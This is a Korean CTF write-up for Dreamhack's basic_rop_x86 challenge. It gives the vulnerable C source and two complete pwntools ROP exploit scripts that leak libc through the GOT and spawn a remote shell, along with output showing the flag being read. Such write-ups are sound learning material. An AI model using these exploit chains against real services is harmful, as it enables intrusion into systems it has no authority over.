이번 문제는 rop 문제인데 x64는 이전 실습문제인 rop 문제와 동일한 알고리즘으로 페이로드를 짜면, 익스플로잇이 되기 때문에 따로 Write up을 진행하지 않았다. 그러나 해당 문제는 함수 호출 규약이 x64와는 다르기 때문에 Write up을 진행해보려고 한다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
해당 문제의 C 코드는 basic_rop_x64의 코드와 완전히 동일하다.
read(0, buf, 0x400);
너무나 당연하게도 buf의 크기는 0x40인데 비해, 0x400을 읽으므로 버퍼 오버플로우라고 생각할 수 있다.
write(1, buf, sizeof(buf));
여기에 ROP chaining을 하여 payload를 보내면 될 듯 하다.
1) "이전처럼 read_got + 4 를 이용해서 하면 되지 않을까?" 싶지만 x86은 함수 호출 규약이 cdecl, 즉 스택에 인자를 push 한 후, 함수를 호출한다. 그래서 read_got + 4를 작성하면 인자가 잘못 전달될 가능성이 있다.
2) 따라서 bss 영역에 /bin/sh을 작성한 다음, 이후 실습 과정과 동일하게 작성하면 될 듯하다.
from pwn import *
p = remote("host1.dreamhack.games",16050)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
r = ROP(e)
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
read_got = e.got['read']
pop_esi = r.find_gadget(['pop esi','pop edi','pop ebp','ret'])[0]
ret = r.find_gadget(['pop ebp','ret'])[0]
bss = e.bss()
# buf = ebp - 0x44
payload = b'A'*72
# write(1,read_got,...)
payload += p32(write_plt)+p32(pop_esi)+p32(1)+p32(read_got)+p32(4)
# read(0,bss,8)
payload += p32(read_plt)+p32(pop_esi)+p32(0)+p32(bss)+p32(8)
# read(1,read_got,...)
payload += p32(read_plt)+p32(pop_esi)+p32(0)+p32(read_got)+p32(4)
# read("bin/sh")= system("bin/sh")
payload += p32(read_plt)
payload += p32(ret)
payload += p32(bss)
p.send(payload)
p.recvuntil(b'A'*64)
read = u32(p.recvn(4))
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(b'/bin/sh\x00')
p.sendline(p32(system))
p.interactive()
결과
[+] Opening connection to host1.dreamhack.games on port 16050: Done
[*] '/home/li-sh/Desktop/dreamhack/basic_rop_x86/basic_rop_x86'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] '/home/li-sh/Desktop/dreamhack/basic_rop_x86/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[*] Loaded 9 cached gadgets for './basic_rop_x86'
[*] Switching to interactive mode
$ ls
basic_rop_x86
flag
libc.so.6
$ cat flag
DH{*******************}
다른 풀이들을 보니까 이런 방법들도 있어서 시도해보았다.
1) read_got의 값을 읽은 후, 다시 main 함수 시작으로 돌아간다.
2) 읽어들인 값으로 read@libc을 구한 후, libc base, system@libc 주소를 구한다.
3) /bin/sh을 bss 영역에 쓰지 않고, libc 안에서 /bin/sh을 찾아서 libc base에서 offset을 더하여 주소를 얻는다.
4) 다시 main 처음으로 돌아갔으므로, 처음부터 payload를 작성한다. 이 때, 버퍼 오버플로우를 시키고, system@libc, /bin/sh 주소를 아니까 바로 payload에 넣으면 된다.
from pwn import *
p = remote("host1.dreamhack.games",16050)
# p = process('./basic_rop_x86')
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
r = ROP(e)
write_plt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']
pop_esi = r.find_gadget(['pop esi','pop edi','pop ebp','ret'])[0]
ret = r.find_gadget(['pop ebp','ret'])[0]
main = e.symbols['main']
# buf = ebp - 0x44
payload = b'A'*72
# write(1,read_got,...)
payload += p32(write_plt)+p32(pop_esi)+p32(1)+p32(read_got)+p32(4)
# ret2main 기법
payload += p32(main)
p.send(payload)
p.recvuntil(b'A'*64)
read = u32(p.recvn(4))
lb = read - libc.symbols['read']
binsh = lb + next(libc.search(b'/bin/sh'))
system = lb + libc.symbols['system']
log.success(f"Leaked read@libc: {hex(read)}")
log.success(f"Calculated libc_base: {hex(lb)}")
log.success(f"Calculated system@libc: {hex(system)}")
log.success(f"binsh: {hex(binsh)}")
payload2 = b'A'*72
payload2 += p32(system)
payload2 += p32(ret)
payload2 += p32(binsh)
p.send(payload2)
p.interactive()
결과는 똑같다.
하나의 문제풀이 방법이 아닌 다양한 방법으로 가능하다는 것이 이 문제의 매력 중 하나인 것 같다. 문제를 풀면서 헷갈렸던 점은, bss 영역은 생각도 하지 못하고, 계속 libc 안에서 /bin/sh을 찾아서 하면 될 것 같다고 생각했었다. 그래도 삽질을 계속 하다보니까 기억엔 오래 남을 것 같다.